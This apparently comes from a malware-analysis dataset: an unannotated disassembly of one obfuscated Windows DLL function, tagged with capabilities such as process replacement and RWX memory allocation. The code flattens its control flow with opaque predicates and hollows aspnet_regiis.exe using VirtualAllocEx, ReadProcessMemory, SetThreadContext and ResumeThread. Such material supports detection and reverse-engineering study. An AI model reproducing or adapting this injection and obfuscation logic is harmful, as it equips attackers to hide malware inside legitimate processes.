Function at 0x10003010
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xec
mov eax, dword [0x10067600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10068928]
mov eax, dword [0x10068924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xee], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xed], al
mov dword [ebp - 0xf4], 0x959611ca
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf8], eax
sub eax, 0x800e204f
je 0x100061dc
jmp 0x10003083
mov eax, dword [ebp - 0xf8]
sub eax, 0x80446479
je 0x10009119
jmp 0x10003099
mov eax, dword [ebp - 0xf8]
sub eax, 0x80692702
je 0x10005b39
jmp 0x100030af
mov eax, dword [ebp - 0xf8]
sub eax, 0x8082b45f
je 0x1000a657
jmp 0x100030c5
mov eax, dword [ebp - 0xf8]
sub eax, 0x80a38609
je 0x1000940d
jmp 0x100030db
mov eax, dword [ebp - 0xf8]
sub eax, 0x80bfffc6
je 0x1000572a
jmp 0x100030f1
mov eax, dword [ebp - 0xf8]
sub eax, 0x814e20e5
je 0x10007a72
jmp 0x10003107
mov eax, dword [ebp - 0xf8]
sub eax, 0x81b16ec9
je 0x100070e0
jmp 0x1000311d
mov eax, dword [ebp - 0xf8]
sub eax, 0x81fe5910
je 0x10009b3e
jmp 0x10003133
mov eax, dword [ebp - 0xf8]
sub eax, 0x8214dca5
je 0x10009c40
jmp 0x10003149
mov eax, dword [ebp - 0xf8]
sub eax, 0x823fd004
je 0x10007d08
jmp 0x1000315f
mov eax, dword [ebp - 0xf8]
sub eax, 0x8244188f
je 0x10007d67
jmp 0x10003175
mov eax, dword [ebp - 0xf8]
sub eax, 0x856a3f16
je 0x100073cd
jmp 0x1000318b
mov eax, dword [ebp - 0xf8]
sub eax, 0x8591ba1d
je 0x10008d45
jmp 0x100031a1
mov eax, dword [ebp - 0xf8]
sub eax, 0x859205a0
je 0x10009dab
jmp 0x100031b7
mov eax, dword [ebp - 0xf8]
sub eax, 0x861505e9
je 0x10009f30
jmp 0x100031cd
mov eax, dword [ebp - 0xf8]
sub eax, 0x8752d0f8
je 0x10007baa
jmp 0x100031e3
mov eax, dword [ebp - 0xf8]
sub eax, 0x8a14c61e
je 0x10005d61
jmp 0x100031f9
mov eax, dword [ebp - 0xf8]
sub eax, 0x8bb6994d
je 0x10007c1c
jmp 0x1000320f
mov eax, dword [ebp - 0xf8]
sub eax, 0x8bbc7b85
je 0x10006754
jmp 0x10003225
mov eax, dword [ebp - 0xf8]
sub eax, 0x8bc472e2
je 0x1000951c
jmp 0x1000323b
mov eax, dword [ebp - 0xf8]
sub eax, 0x8c8004e2
je 0x1000a13e
jmp 0x10003251
mov eax, dword [ebp - 0xf8]
sub eax, 0x8c86057f
je 0x100064de
jmp 0x10003267
mov eax, dword [ebp - 0xf8]
sub eax, 0x8e8fa51d
je 0x10007a55
jmp 0x1000327d
mov eax, dword [ebp - 0xf8]
sub eax, 0x8fe3f937
je 0x100080e7
jmp 0x10003293
mov eax, dword [ebp - 0xf8]
sub eax, 0x913a6332
je 0x1000896b
jmp 0x100032a9
mov eax, dword [ebp - 0xf8]
sub eax, 0x917b82fd
je 0x100094cb
jmp 0x100032bf
mov eax, dword [ebp - 0xf8]
sub eax, 0x918dfb4f
je 0x1000a71b
jmp 0x100032d5
mov eax, dword [ebp - 0xf8]
sub eax, 0x92a41977
je 0x100089da
jmp 0x100032eb
mov eax, dword [ebp - 0xf8]
sub eax, 0x92d12510
je 0x10009437
jmp 0x10003301
mov eax, dword [ebp - 0xf8]
sub eax, 0x92d4fefa
je 0x1000885d
jmp 0x10003317
mov eax, dword [ebp - 0xf8]
sub eax, 0x93324344
je 0x10006745
jmp 0x1000332d
mov eax, dword [ebp - 0xf8]
sub eax, 0x933e982c
je 0x1000a14d
jmp 0x10003343
mov eax, dword [ebp - 0xf8]
sub eax, 0x936f5937
je 0x100064bd
jmp 0x10003359
mov eax, dword [ebp - 0xf8]
sub eax, 0x93b73f16
je 0x1000772b
jmp 0x1000336f
mov eax, dword [ebp - 0xf8]
sub eax, 0x959611ca
je 0x1000527a
jmp 0x10003385
mov eax, dword [ebp - 0xf8]
sub eax, 0x961a7239
je 0x100079b1
jmp 0x1000339b
mov eax, dword [ebp - 0xf8]
sub eax, 0x967dc65b
je 0x10008013
jmp 0x100033b1
mov eax, dword [ebp - 0xf8]
sub eax, 0x96a8fb6a
je 0x10008130
jmp 0x100033c7
mov eax, dword [ebp - 0xf8]
sub eax, 0x970286dc
je 0x100060ca
jmp 0x100033dd
mov eax, dword [ebp - 0xf8]
sub eax, 0x98063f68
je 0x10009a4a
jmp 0x100033f3
mov eax, dword [ebp - 0xf8]
sub eax, 0x98157346
je 0x10009c31
jmp 0x10003409
mov eax, dword [ebp - 0xf8]
sub eax, 0x9881b5dc
je 0x10005cc0
jmp 0x1000341f
mov eax, dword [ebp - 0xf8]
sub eax, 0x98a7685b
je 0x10008e58
jmp 0x10003435
mov eax, dword [ebp - 0xf8]
sub eax, 0x994abc94
je 0x1000816e
jmp 0x1000344b
mov eax, dword [ebp - 0xf8]
sub eax, 0x9a1e0947
je 0x1000814d
jmp 0x10003461
mov eax, dword [ebp - 0xf8]
sub eax, 0x9a1e9386
je 0x10006d53
jmp 0x10003477
mov eax, dword [ebp - 0xf8]
sub eax, 0x9a3c4b12
je 0x1000a1bf
jmp 0x1000348d
mov eax, dword [ebp - 0xf8]
sub eax, 0x9a4bd8fb
je 0x10008bf5
jmp 0x100034a3
mov eax, dword [ebp - 0xf8]
sub eax, 0x9a8b33c4
je 0x1000854d
jmp 0x100034b9
mov eax, dword [ebp - 0xf8]
sub eax, 0x9b13b29b
je 0x10006876
jmp 0x100034cf
mov eax, dword [ebp - 0xf8]
sub eax, 0x9ea60967
je 0x10009fe3
jmp 0x100034e5
mov eax, dword [ebp - 0xf8]
sub eax, 0x9f865e32
je 0x100097d6
jmp 0x100034fb
mov eax, dword [ebp - 0xf8]
sub eax, 0x9fbbd4b8
je 0x10007e98
jmp 0x10003511
mov eax, dword [ebp - 0xf8]
sub eax, 0xa010aeef
je 0x100084fd
jmp 0x10003527
mov eax, dword [ebp - 0xf8]
sub eax, 0xa043a723
je 0x10009e15
jmp 0x1000353d
mov eax, dword [ebp - 0xf8]
sub eax, 0xa045d8aa
je 0x1000a120
jmp 0x10003553
mov eax, dword [ebp - 0xf8]
sub eax, 0xa0bc87b7
je 0x10005410
jmp 0x10003569
mov eax, dword [ebp - 0xf8]
sub eax, 0xa1bd610a
je 0x100086d4
jmp 0x1000357f
mov eax, dword [ebp - 0xf8]
sub eax, 0xa1cccb3a
je 0x10006763
jmp 0x10003595
mov eax, dword [ebp - 0xf8]
sub eax, 0xa54a76b1
je 0x100068f7
jmp 0x100035ab
mov eax, dword [ebp - 0xf8]
sub eax, 0xa6dce938
je 0x10005f32
jmp 0x100035c1
mov eax, dword [ebp - 0xf8]
sub eax, 0xa7729d84
je 0x1000a282
jmp 0x100035d7
mov eax, dword [ebp - 0xf8]
sub eax, 0xa776a9b0
je 0x10006a2a
jmp 0x100035ed
mov eax, dword [ebp - 0xf8]
sub eax, 0xa776f379
je 0x10005f92
mov bl, byte [ebp - 0xee]
mov dh, byte [ebp - 0xed]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9ea60967
mov ecx, 0xc08aa8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov ecx, dword [0x10068928]
mov eax, dword [0x10068924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x356c218f
mov ecx, 0xcf6237e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [0x10068928]
mov ecx, dword [0x10068924]
mov edx, eax
sub edx, 0x198ed46
sub edx, 1
add edx, 0x198ed46
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b21ea79
mov ecx, 0x7984464f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10017384]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0xfc4e95bf
jmp 0x1000a7a3
mov eax, dword [0x10068928]
mov ecx, dword [0x10068924]
mov edx, eax
sub edx, 0xafed1acd
sub edx, 1
add edx, 0xafed1acd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa045d8aa
mov ecx, 0xb3baeac1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0xb7fd7162
jmp 0x1000a7a3
mov eax, dword [0x10068928]
mov ecx, dword [0x10068924]
mov edx, eax
add edx, 0xa4b80b84
sub edx, 1
sub edx, 0xa4b80b84
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1dc4d196
mov ecx, 0xb9bc1493
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0xe29cf814
jmp 0x1000a7a3
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10017328]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0x2e8b757d
jmp 0x1000a7a3
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10017308]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0x8c86057f
jmp 0x1000a7a3
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10017304]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0x7cb00bf2
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0x8bbc7b85
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0xa1cccb3a
jmp 0x1000a7a3
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100172ec]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0xf4ea66a7
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0xbcebaec0
jmp 0x1000a7a3
mov eax, dword [0x10068928]
mov ecx, dword [0x10068924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb723c9f7
mov ecx, 0x7bf73b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0xcb2e8c7b
jmp 0x1000a7a3
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x100172b4]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0xd65d13d6
jmp 0x1000a7a3
mov ecx, dword [0x10068928]
mov eax, dword [0x10068924]
mov edx, ecx
add edx, 0x532d97a5
sub edx, 1
sub edx, 0x532d97a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x573fbe43
mov ecx, 0x33a897da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dl, 1
mov eax, 0xffa1c9a
mov ecx, 0xde8d3071
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dl, 1
mov eax, 0xb2fdf90e
mov ecx, 0x2923d144
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [ebp - 0xd4]
movss xmm0, dword [0x10017274]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xd4]
movss xmm0, dword [0x10017270]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xb41e40
mov ecx, 0x36f5ff36
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dl, 1
mov eax, 0x1f45b4c0
mov ecx, 0x814e20e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [ebp - 0xd4]
movss xmm0, dword [0x10017260]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0x4a201ae2
jmp 0x1000a7a3
mov eax, dword [ebp - 0xd4]
movss xmm0, dword [0x100171a4]
movss dword [eax], xmm0
mov eax, dword [0x10068928]
mov ecx, dword [0x10068924]
mov edx, eax
add edx, 0x737a372f
sub edx, 1
sub edx, 0x737a372f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f6282d0
mov ecx, 0x51dfc28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov ecx, dword [0x10068928]
mov eax, dword [0x10068924]
mov edx, ecx
add edx, 0x73dd879f
sub edx, 1
sub edx, 0x73dd879f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe2fcd4a
mov ecx, 0x58d86c92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dl, 1
mov eax, 0x8244188f
mov ecx, 0x50d98775
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [0x10068928]
mov ecx, dword [0x10068924]
mov edx, eax
sub edx, 0x97600c7
sub edx, 1
add edx, 0x97600c7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xedda3443
mov ecx, 0xa8e17853
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov ecx, dword [0x10068928]
mov eax, dword [0x10068924]
mov edx, ecx
sub edx, 0xd35d4d83
sub edx, 1
add edx, 0xd35d4d83
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfad81026
mov ecx, 0xba2a6382
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [ebp - 0xd4]
movss xmm0, dword [0x10017244]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0x8a0327e
jmp 0x1000a7a3
mov eax, dword [0x10068928]
mov ecx, dword [0x10068924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67b718af
mov ecx, 0x96a8fb6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dl, 1
mov eax, 0x7b0a6b14
mov ecx, 0x9a1e0947
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [ebp - 0xd0]
movss xmm0, dword [0x10017234]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0x994abc94
jmp 0x1000a7a3
mov eax, dword [ebp - 0xd0]
movss xmm0, dword [0x10017230]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0x7b0a6b14
jmp 0x1000a7a3
mov dl, 1
mov eax, 0x1fc7120c
mov ecx, 0x7145b824
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0x1fc7120c
jmp 0x1000a7a3
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0x58f1e8fc
mov ecx, 0x599d7f29
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [ebp - 0xb0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x10068928]
mov eax, dword [0x10068924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x74ccd49d
mov ecx, 0xcfe1272c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov edx, dword [ebp - 0x70]
mov eax, 0xdad19209
mov ecx, 0xb8dcedea
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x68], eax
mov ecx, dword [0x10068928]
mov eax, dword [0x10068924]
mov edx, ecx
add edx, 0xc7231cb4
sub edx, 1
sub edx, 0xc7231cb4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x29071c82
mov ecx, 0xd7709d7a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [ebp - 0x5c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xbc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x60]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov edx, dword [ebp - 0xa8]
mov eax, 0xb54e7624
mov ecx, 0xc0c2dda5
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x58]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0xb54e7624
jmp 0x1000a7a3
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0xf4], 0x6b2cb193
jmp 0x1000a7a3
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
add esi, 0x18054e
add esi, eax
sub esi, 0x18054e
mov edx, dword [ebp - 0x4c]
mov eax, 0xe3dc22b6
mov ecx, 0x7a717347
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x35], al
mov dword [ebp - 0xf4], 0x92d12510
jmp 0x1000a7a3
mov dl, byte [ebp - 0x35]
mov eax, 0x697d6ccb
mov ecx, 0x372205b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov eax, dword [0x10068928]
mov ecx, dword [0x10068924]
mov edx, eax
sub edx, 0xd01de2f1
sub edx, 1
add edx, 0xd01de2f1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2442b22c
mov ecx, 0x8bc472e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0x6cabad47
jmp 0x1000a7a3
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0xb5d80dd3
or edx, esi
or eax, 0xb5d80dd3
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xbc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x74]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x24], eax
mov ecx, dword [0x10068928]
mov eax, dword [0x10068924]
mov edx, ecx
add edx, 0x1807666a
sub edx, 1
sub edx, 0x1807666a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x37ecac6f
mov ecx, 0x3f828e11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0x3672cd53
jmp 0x1000a7a3
mov ecx, dword [0x10068928]
mov eax, dword [0x10068924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4c9547c5
mov ecx, 0x278fefcf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0xaf7fb412
jmp 0x1000a7a3
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov eax, dword [eax + 4]
sub ecx, 0xf9b4746b
add ecx, eax
add ecx, 0xf9b4746b
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0x309908a8
jmp 0x1000a7a3
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x10]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0xf4], 0xa043a723
jmp 0x1000a7a3
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xf4], 0xda3a2054
jmp 0x1000a7a3
mov eax, dword [0x10068928]
mov ecx, dword [0x10068924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa13a3c9
mov ecx, 0xe874d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0xc08aa8b
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0x9881b5dc
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0xe0cbd1bc
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0xf126803e
jmp 0x1000a7a3
mov dword [ebp - 0xf4], 0x3e91a6d4
jmp 0x1000a7a3
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x100171c8]
movss dword [eax], xmm0
mov dword [ebp - 0xf4], 0xd52ae94d
jmp 0x1000a7a3
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xf4], 0xaade8285
jmp 0x1000a7a3
mov eax, dword [ebp - 0x80]
mov edx, dword [eax]
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0xe244529d
jmp 0x1000a7a3
jmp 0x10003067